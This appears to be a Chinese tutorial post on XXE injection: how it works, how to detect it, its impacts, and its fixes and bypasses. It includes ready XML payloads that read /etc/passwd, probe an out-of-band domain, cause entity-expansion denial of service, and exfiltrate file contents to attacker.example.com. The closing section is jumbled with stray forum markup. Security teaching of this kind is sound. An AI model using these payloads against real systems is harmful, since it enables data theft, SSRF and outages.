一、漏洞原理
1.1 核心
XXE(XML External Entity injection),名为XML外部实体注入。其核心在于XML解析器默认允许外部实体/DTD,攻击者通过构造特殊的XML使其包含恶意外部实体。外部实体可以为服务器敏感文件,也可以为网络请求等,之后利用方式类似于文件包含和SSRF,有时甚至可以间接RCE(少见)。
1.2 原理详解
想彻底了解XXE,需要知道XML和DTD。
1.2.1 XML介绍
XML详细学习地址:https://www.runoob.com/xml/xml-tutorial.html
XML结构类似于HTML,都主要由元素(标签)和属性组成。XML推荐使用元素(标签)而非属性来传递信息。XML需要在开头有一个声明,然后有一个根元素涵盖其他元素。如下例- <?xml version="1.0" encoding="UTF-8"?>
- <note><!ENTITY entity-name "entity-value">
- <!ENTITY entity-name SYSTEM "URI/URL"> <!ENTITY entity-name "entity-value">
- <!ENTITY entity-name SYSTEM "URI/URL">
- <to>Tove</to>
- <from>Jani</from>
- <heading>Reminder</heading>
- <body>Don't forget me this weekend!</body>
- </note>
复制代码 上述第一句为声明,note为根元素,其他的to,from,heading,body为其他元素,可以用来传递信息。元素和元素中的内容可以类比于JSON中的键值对。
1.2.2 DTD介绍
DTD详细学习地址:https://www.runoob.com/dtd/dtd-tutorial.html
DTD是XXE漏洞不可或缺的部分。DTD(文档类型定义)的作用是定义 XML 文档的合法构建模块。我们主要用到的DTD的实体。实体是用于定义引用普通文本或特殊字符的快捷方式的变量。实体分为内部实体和外部实体,分别类似于SSRF的本地/远程文件包含。一个实体由三部分构成: 一个和号 (&), 一个实体名称, 以及一个分号。通过引入外部实体,我们就可以达到读取敏感信息乃至RCE。
实体声明:- <!ENTITY entity-name "entity-value">
- <!ENTITY entity-name SYSTEM "URI/URL">
复制代码 例子:- <!ENTITY entity-name "entity-value">
- <!ENTITY entity-name SYSTEM "URI/URL"> ]><!ENTITY entity-name "entity-value">
- <!ENTITY entity-name SYSTEM "URI/URL"> &writer;<?xml version="1.0"?>
- <!DOCTYPE r [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]>
- <r>&xxe;</r>
复制代码 二、检测与危害
XXE通常发生在后端的XML解析而非浏览器XML解析,由于很多后端可以自动切换对XML和JSON的解析。因此,虽然目前多是以JSON格式作为数据传输的方式,将请求头中的Content-Type改为application/xml后,或者一些老旧的系统,也有一定可能触发XXE。
2.1 检测方法
总体思路:先定位能提交 XML 的输入点 → 验证服务器是否解析 XML → 逐步注入实体(内置/外部/参数化) → 观察回显/DNSlog记录。
2.1.1 定位 XML 输入点
(1) 查找 Content-Type:在抓包/代理(Burp/Proxy)中观察请求头是否存在 Content-Type: application/xml、text/xml、或 application/soap+xml;
(2) 查找接口类型:SOAP 服务、SAML 参数(SAMLResponse)、文件导入(.xml)、RSS/Sitemap 导入、第三方集成、消息队列(XML 消息)等通常是高优先级;
(3) 前端检查:F12 → Network,查看请求体是否为 XML,或检查提交表单/上传是否接受 XML 文件。
2.1.2 有回显检测
(1) 基本步骤:在确认输入被解析后,先注入简单的内部实体做回显测试。观察HTTP 响应体是否包含 /etc/passwd 内容、异常堆栈或解析错误回显。
(2) 内部实体样例(读取本地文件):- <?xml version="1.0"?>
- <!DOCTYPE r [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]>
- <r>&xxe;</r>
复制代码 2.1.3 无回显外部实体检测
(1) 思路:把外部实体指向你能控制/监听的域名(常常用DNSLog)。发送XML后查看自己的dnslog有没有记录就可以知道能不能引用外部实体了。
(2) 示例:- <?xml version="1.0"?>
- <!DOCTYPE r [
- <!ENTITY remote SYSTEM "http://your-collab-id.oast.site/">
- ]>
- <r>&remote;</r>
复制代码 2.1.4 DoS(一般测试时一定不要用!!)
(1) 示例:- <?xml version="1.0"?>
- <!DOCTYPE lolz [
- <!ENTITY a "aaaaaaaaaa">
- <!ENTITY b "&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;">
- <!ENTITY c "&b;&b;&b;&b;&b;&b;&b;&b;&b;&b;">
- <!ENTITY d "&c;&c;&c;&c;&c;&c;&c;&c;&c;&c;">
- ]>
- <lolz>&d;</lolz>
复制代码 2.1.5 协议/解析器差异测试
(1) 测试多种 scheme:file://、http://、https://、ftp://、ldap://、gopher://(部分解析器支持)。
(2) 不同解析器对 DTD/外部实体的默认策略不同(Java、.NET、libxml、lxml 等),需尝试多种 payload 形式与嵌套方式。
2.1.6 代码审计
(1) 查找 XML 解析相关 API:DocumentBuilderFactory、SAXParserFactory、xml.etree、lxml、libxml2、SimpleXML 等调用;
(2) 检查解析配置:是否启用 DTD/外部实体、是否有禁用 DOCTYPE、是否使用安全库(如 Python 的 defusedxml);
(3) 检查输入来源:是否直接解析用户上传/外部来源的 XML,或是否在未过滤的情况下处理 SAML/SOAP。
2.2 危害
XXE的危害与文件包含漏洞和SSRF相似,具有很多交叉和重叠的地方。具体如下所示。
2.2.1 本地文件读取
- 说明:通过 file:// 实体读取服务器文件(如 /etc/passwd、私钥 /etc/ssl/*、配置文件、/proc/self/environ 等)。
- 风险:凭证、配置、私钥泄露可能导致持久化入侵或 RCE(配合其它漏洞)。
2.2.2 实现SSRF
- 说明:外部实体指向 http://internal:port/... 等,就类似于一个SSRF了,详见https://www.cnblogs.com/L-xy/p/19084683。
- 风险:发现并利用内部管理接口、横向移动、获取临时凭证或敏感信息。
2.2.3 数据外发
用 HTTP GET 把数据放到 URL(query 或子域)
利用参数实体 / DTD 链把本地文件内容拼接进一个外部实体的 URL,然后解析器访问此 URL(通常是 GET)。攻击者的服务器在访问日志中看到请求并从 URL 或 Host 部分得到信息。下例用到了参数实体。
payload:- <?xml version="1.0"?>
- <!DOCTYPE foo [
- <!ENTITY % file SYSTEM "file:///etc/passwd">
- <!ENTITY % exfil "<!ENTITY send SYSTEM 'http://attacker.example.com/?p=%file;'>">
- %exfil;
- ]>
- <foo>&send;</foo>
复制代码 解释流程:
%file 被解析为 /etc/passwd 内容(参数实体值)。
%exfil 是一段字符串,定义了一个通用外部实体 send,其 SYSTEM URL 包含 %file 的值。
%exfil; 在 DTD 中展开,定义了 send。
正文 &send; 会触发解析器去请求 http://attacker.example.com/?p=。
这样就把文件内容通过 URL query 发给了你控制的域名。
2.2.4 DoS(实体膨胀 / 资源耗尽)
- 说明:通过嵌套实体或大量实体导致解析器内存/CPU 消耗)。
- 风险:服务不可用、资源耗尽,影响可用性。
2.2.5 间接 RCE(链式利用)
- 说明:XXE 本身读取的是文本/资源,若读取的内容被后续当作代码/命令/模板处理(例如写入并 include、传给不安全的模板引擎或反序列化器),可导致远程代码执行。
- 风险:高危,通常需要系统中存在其他弱点配合(文件写入、不安全的 eval/include 等)。
三、修复与绕过
3.1 禁用DTD--首选
做法(示例)
- Java: 在 DocumentBuilderFactory / SAXParserFactory 上设置 disallow-doctype-decl=true,并关闭外部实体特性(见下)。
- .NET: 用 XmlReaderSettings,DtdProcessing = DtdProcessing.Prohibit。
- Python: 使用 defusedxml(如 defusedxml.ElementTree)来解析非受信任 XML。
- PHP: 避免开启远程包含;用 XMLReader / DOMDocument 时传入 LIBXML_NONET 等选项以禁止网络访问;尽量避免 allow_url_include。
绕过手法
- 攻击者用参数实体 + 远程 DTD(%remote;)链式注入,以在 DTD 中插入更多声明,尝试在某些解析器/配置下触发外联。
3.2 使用“安全XML库/API”而不是默认解析器
做法
- Python 用 defusedxml,Java 显式设置安全特性或使用安全包装器,PHP 用 XMLReader/libxml 的安全选项。
3.3 限制scheme协议(file://, gopher://等)
做法
- 在应用层过滤或白名单允许的 schemes(只允许 http/https 到特定域)。
绕过手法
- 攻击者会尝试替代协议(gopher 用于构造任意 TCP payload 包括 POST;ldap、ftp、jar、zip、data、php:// 等 wrapper)或利用协议混淆(URL 编码、大小写变种、16进制,IPv6/decimal 表示法等)。
3.4 白名单/黑名单化
做法
<ul>对上传的 XML 文件做内容扫描,阻断包含 示例:</p>- [/code]这里 %commonAttrs; 就定义了一组属性声明,可以在其他元素声明中复用。
- [list=1]
- [*]引用参数实体
- [/list]引用方式:
- [code]<!ENTITY % commonAttrs 'id ID #IMPLIED class CDATA #IMPLIED'>
复制代码 示例:参数实体不仅能定义在 DTD 内部,还能引用外部文件,便于模块化。- <!ELEMENT book (title, author, year)>
- <!ATTLIST book
- id ID #IMPLIED
- class CDATA #IMPLIED
- >
复制代码 来源:程序园用户自行投稿发布,如果侵权,请联系站长删除
免责声明:如果侵犯了您的权益,请联系站长,我们会及时删除侵权内容,谢谢合作! |